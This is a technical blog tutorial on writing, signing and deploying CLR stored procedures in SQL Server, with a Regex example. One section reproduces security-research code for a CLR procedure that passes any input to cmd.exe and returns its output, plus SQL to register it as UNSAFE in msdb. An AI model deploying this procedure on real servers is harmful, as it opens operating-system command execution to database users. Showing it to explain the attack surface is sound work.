September 13, 2018
CLR stored procedures in sql server

S
QL Server's CLR integration feature allows you to write stored procedures, functions, triggers, and aggregates in managed .NET code (C# or VB.NET) and deploy them directly into the database engine. This is a powerful escape hatch when T-SQL simply isn't the right tool — complex string manipulation, regular expressions, cryptographic operations, external HTTP calls, or any logic that benefits from the full .NET Framework.

When to Use CLR vs. T-SQL

T-SQL is purpose-built for set-based data operations and should always be your first choice. CLR stored procedures make sense when:

  • You need complex string parsing or regular expression matching
  • You need to call external resources (files, HTTP endpoints, Windows APIs)
  • The logic is computation-heavy and would be slow in pure T-SQL
  • You want to share business logic between your application and the database without duplication
  • You need access to .NET Framework classes that have no T-SQL equivalent

Permission Sets

Every CLR assembly is registered with one of three permission sets that control what it can do:

  • SAFE — The most restrictive. The assembly can only perform internal computation and access data in SQL Server. No file system, network, registry, or environment access. Use this whenever possible.
  • EXTERNAL_ACCESS — Allows access to external resources: the file system, network, registry, and environment variables. The assembly cannot perform unmanaged code execution.
  • UNSAFE — Unrestricted. Allows everything EXTERNAL_ACCESS allows plus the ability to call unmanaged code (P/Invoke, COM, etc.). Requires the assembly to be signed with a strong name key and trusted explicitly by SQL Server.

Prerequisites

Before you can deploy a CLR assembly, you need to enable CLR integration on the server. By default it is off: 


sp_configure 'show advanced options', 1;
RECONFIGURE;
GO
sp_configure 'clr enabled', 1;
RECONFIGURE;
GO

For SQL Server 2017 and later, Microsoft also introduced CLR strict security, which requires all assemblies (even SAFE ones) to be signed and trusted before they can be registered. See the signing section below.

A Practical Example: Regex Matching

Here is a useful, real-world example — a CLR function that exposes .NET's Regex.IsMatch to T-SQL. This is something you simply cannot do natively in SQL Server. 


using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Text.RegularExpressions;

public partial class UserDefinedFunctions
{
    [SqlFunction(IsDeterministic = true, IsPrecise = true)]
    public static SqlBoolean RegexIsMatch(SqlString input, SqlString pattern)
    {
        if (input.IsNull || pattern.IsNull)
            return SqlBoolean.Null;

        return Regex.IsMatch(input.Value, pattern.Value, RegexOptions.IgnoreCase);
    }
}

Once deployed, you can use it directly in T-SQL: 


-- Find all customers whose email doesn't match a basic email pattern
SELECT *
FROM Customers
WHERE dbo.RegexIsMatch(Email, '^[^@]+@[^@]+\.[^@]+$') = 0

Signing the Assembly (Required for SQL Server 2017+)

SQL Server 2017 introduced CLR strict security, which means you must sign your assembly with a strong name key and register that key as trusted in SQL Server, even for SAFE assemblies.

Step 1 — Create a key pair

Use the .NET SDK's sn.exe tool to generate a public/private key pair: 


sn.exe -k MyKey.snk

Keep MyKey.snk private. You only need it at compile time.

Step 2 — Reference the key in your assembly

Add this attribute to your assembly (typically in AssemblyInfo.cs or at the top of your source file): 


[assembly: AssemblyKeyFileAttribute(@"C:\keys\MyKey.snk")]

Or, in modern .NET projects, set it in the .csproj file: 


<PropertyGroup>
  <SignAssembly>true</SignAssembly>
  <AssemblyOriginatorKeyFile>MyKey.snk</AssemblyOriginatorKeyFile>
</PropertyGroup>

Step 3 — Register the key as trusted in SQL Server

After you compile the signed DLL, extract the public key and create a login from it in the master database. This tells SQL Server to trust assemblies signed with that key. 


USE master;
GO

-- Create an asymmetric key from the signed DLL
CREATE ASYMMETRIC KEY MyClrKey
FROM EXECUTABLE FILE = 'C:\path\to\MyAssembly.dll';

-- Create a login from that key
CREATE LOGIN MyClrLogin FROM ASYMMETRIC KEY MyClrKey;

-- Grant the login permission to use unsafe assemblies
GRANT UNSAFE ASSEMBLY TO MyClrLogin;
GO

You only need to do this once per key. Any assembly signed with the same key will be trusted automatically.

Registering and Deploying the Assembly

Place the compiled DLL somewhere the SQL Server service account can read it — for example: 


C:\Program Files (x86)\Microsoft SQL Server\CLRSP\

Then run the following in your target database: 


USE YourDatabase;
GO

-- Register the assembly
CREATE ASSEMBLY [MyAssembly]
FROM 'C:\Program Files (x86)\Microsoft SQL Server\CLRSP\MyAssembly.dll'
WITH PERMISSION_SET = SAFE;
GO

-- Create the function backed by the CLR method
CREATE FUNCTION dbo.RegexIsMatch(@input NVARCHAR(MAX), @pattern NVARCHAR(MAX))
RETURNS BIT
AS EXTERNAL NAME [MyAssembly].[UserDefinedFunctions].[RegexIsMatch];
GO

The three-part name in EXTERNAL NAME is [AssemblyName].[ClassName].[MethodName].

Updating an Assembly

When you recompile and want to push a new version: 


ALTER ASSEMBLY [MyAssembly]
FROM 'C:\Program Files (x86)\Microsoft SQL Server\CLRSP\MyAssembly.dll'
WITH PERMISSION_SET = SAFE;
GO

ALTER ASSEMBLY replaces the binary without dropping and recreating the dependent functions or procedures, which is much cleaner than a drop/create cycle.

Supported .NET Libraries

Not all .NET Framework assemblies are supported inside SQL Server. SQL Server maintains a list of pre-approved system assemblies; anything outside that list must be registered explicitly. A full list of supported libraries is available in the Microsoft documentation.

If your code uses JSON serialization (e.g., System.Runtime.Serialization), you'll need to register those assemblies separately. This Stack Overflow thread covers the necessary steps.

The Security Research Example

The NetSPI blog post by Scott Sutherland (Attacking SQL Server CLR Assemblies) is worth reading for a security perspective. It includes a CLR stored procedure that shells out to cmd.exe — useful for understanding the attack surface when UNSAFE assemblies are permitted on a SQL Server. The code from that post is reproduced below for reference. 


using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
using System.Reflection;

[assembly: AssemblyKeyFileAttribute(@"F:\research\publicprivatekey\public.snk")]
[assembly: AssemblyDelaySignAttribute(true)]

//don't use a namespace

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec(SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));

        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);

        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
}

And the SQL to register and invoke it: 


USE msdb;
GO

CREATE ASSEMBLY [sqlclrtest.sqlclrtest]
FROM 'C:\Program Files (x86)\Microsoft SQL Server\CLRSP\sqlclrtest.dll'
WITH PERMISSION_SET = UNSAFE;

CREATE PROCEDURE [dbo].[sqlclrtest] @execCommand NVARCHAR(4000)
AS EXTERNAL NAME [sqlclrtest.sqlclrtest].[StoredProcedures].[cmd_exec];
GO

-- Usage
EXEC sqlclrtest 'dir';

Troubleshooting

Error: "CLR strict security" / assembly not trusted
You are on SQL Server 2017+ and the assembly is not signed and trusted. Follow the key registration steps above. Alternatively, and only in a dev environment, you can disable strict security: 


sp_configure 'clr strict security', 0;
RECONFIGURE;

Error: "PERMISSION_SET = UNSAFE" is not allowed
The database's TRUSTWORTHY property is off and the assembly key has not been registered. Register the asymmetric key in master as shown above, or set the database to TRUSTWORTHY ON (not recommended in production).

Error: Assembly references a type not in the supported library list
You are using a .NET assembly that SQL Server does not know about. Register it first with CREATE ASSEMBLY (without creating any procedures from it), then register your assembly.

The procedure compiles but throws at runtime
Enable EXTERNAL_ACCESS or UNSAFE if your code needs file system or unmanaged access. SAFE assemblies will throw SecurityException at runtime if they attempt any restricted operation.